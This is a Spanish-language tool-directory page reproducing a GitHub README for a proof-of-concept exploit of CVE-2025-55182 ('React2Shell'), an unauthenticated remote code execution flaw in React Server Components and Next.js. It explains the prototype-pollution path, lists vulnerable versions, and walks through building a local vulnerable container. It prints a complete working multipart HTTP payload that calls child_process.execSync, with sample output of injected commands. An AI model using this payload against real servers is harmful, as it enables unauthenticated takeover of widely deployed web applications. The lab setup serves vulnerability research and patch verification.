Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2025-55182 — CVE-2025-55182 — React2Shell | Kitploit
Herramientas/GitHubGitHub/ryosukedtomita/cve-2025-55182
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónRed TeamingDesarrollo de Payloads
GitHubryosukedtomita/cve-2025-55182

CVE-2025-55182

CVE-2025-55182 — React2Shell

Ver Repositorio
hace 5 mesesAún no revisado
Sitio web

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2025-55182 — React2Shell

NOLICENSE

ÍNDICE

  • ACERCA DE
  • ENTORNO
  • CÓMO USAR

ACERCA DE

CVE-2025-55182 ("React2Shell") es una vulnerabilidad RCE sin autenticación con CVSS 10.0 en el deserializador del protocolo Flight de React Server Components.

Resumen de la vulnerabilidad

La función reviveModel dentro del cliente del protocolo Flight de React no valida las claves de objeto con hasOwnProperty, por lo que un atacante puede recorrer la cadena de prototipos __proto__ → constructor → Function constructor y ejecutar JavaScript arbitrario.

Con una sola solicitud POST multipart con el encabezado , la deserialización se ejecuta antes de la autenticación, permitiendo que el ataque tenga éxito sin necesidad de autenticación.

Descargar herramienta
Next-Action

Alcance afectado

ComponenteVersión vulnerableVersión corregida
React19.0.0 – 19.2.019.2.1
Next.js≤ 16.0.616.0.7

ENTORNO

Estructura

root@kitploit:~
CVE-2025-55182/
├── flake.nix          # Nix dev shell (nodejs_20, yarn, python3+requests)
├── poc.py             # エクスプロイトスクリプト
└── target/            # 脆弱な Next.js アプリ
    ├── Containerfile  # podman ビルド用
    ├── package.json   # [email protected] / [email protected]
    ├── next.config.ts
    ├── tsconfig.json
    └── app/
        ├── layout.tsx
        └── page.tsx

Herramientas dependientes

  • Nix — Entorno de desarrollo reproducible
  • podman — Tiempo de ejecución de contenedores
  • Python 3 + requests — Ejecución del PoC

CÓMO USAR

1. Iniciar shell de desarrollo

root@kitploit:~
nix develop

2. Compilar el contenedor

root@kitploit:~
podman build -t cve-2025-55182 target/

3. Iniciar servidor vulnerable

root@kitploit:~
podman run -d -p 3000:3000 --name vuln cve-2025-55182

4. Ejecutar el exploit

root@kitploit:~
python poc.py http://localhost:3000 "id"

El resultado de la ejecución del comando se devuelve en el campo digest del JSON de respuesta.

root@kitploit:~
[*] Target: http://localhost:3000/
[*] Command: id
[*] Sending exploit payload...
[*] Response status: 200
[+] Command output: uid=1000(node) gid=1000(node) groups=1000(node)

5. Verificar efectos secundarios

root@kitploit:~
# ファイル書き込み
python poc.py http://localhost:3000 "touch /tmp/pwned"

# コンテナ内で確認
podman exec -it vuln sh
# => ls /tmp/pwned
podman exec -it vuln sh -c "ls /tmp" # こっちでも可能

Método para verificar con Burp Suite

Asumiendo que Burp está ejecutándose en localhost:8080

root@kitploit:~
HTTPS_PROXY=http://localhost:8080 HTTP_PROXY=http://localhost:8080 python poc.py http://localhost:3000 "id"
root@kitploit:~
POST / HTTP/1.1
Host: localhost:3000
User-Agent: python-requests/2.32.3
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Next-Action: x
Content-Length: 580
Content-Type: multipart/form-data; boundary=19a7dba25a68483f4234c90a07a425a2

--19a7dba25a68483f4234c90a07a425a2
Content-Disposition: form-data; name="0"

{"then": "$1:__proto__:then", "status": "resolved_model", "reason": -1, "value": "{\"then\": \"$B0\"}", "_response": {"_prefix": "var res = process.mainModule.require('child_process').execSync(\"touch /tmp/pwand\",{'timeout':5000}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});", "_formData": {"get": "$1:constructor:constructor"}}}
--19a7dba25a68483f4234c90a07a425a2
Content-Disposition: form-data; name="1"

"$@0"
--19a7dba25a68483f4234c90a07a425a2--

6. Limpieza

root@kitploit:~
podman stop vuln && podman rm vuln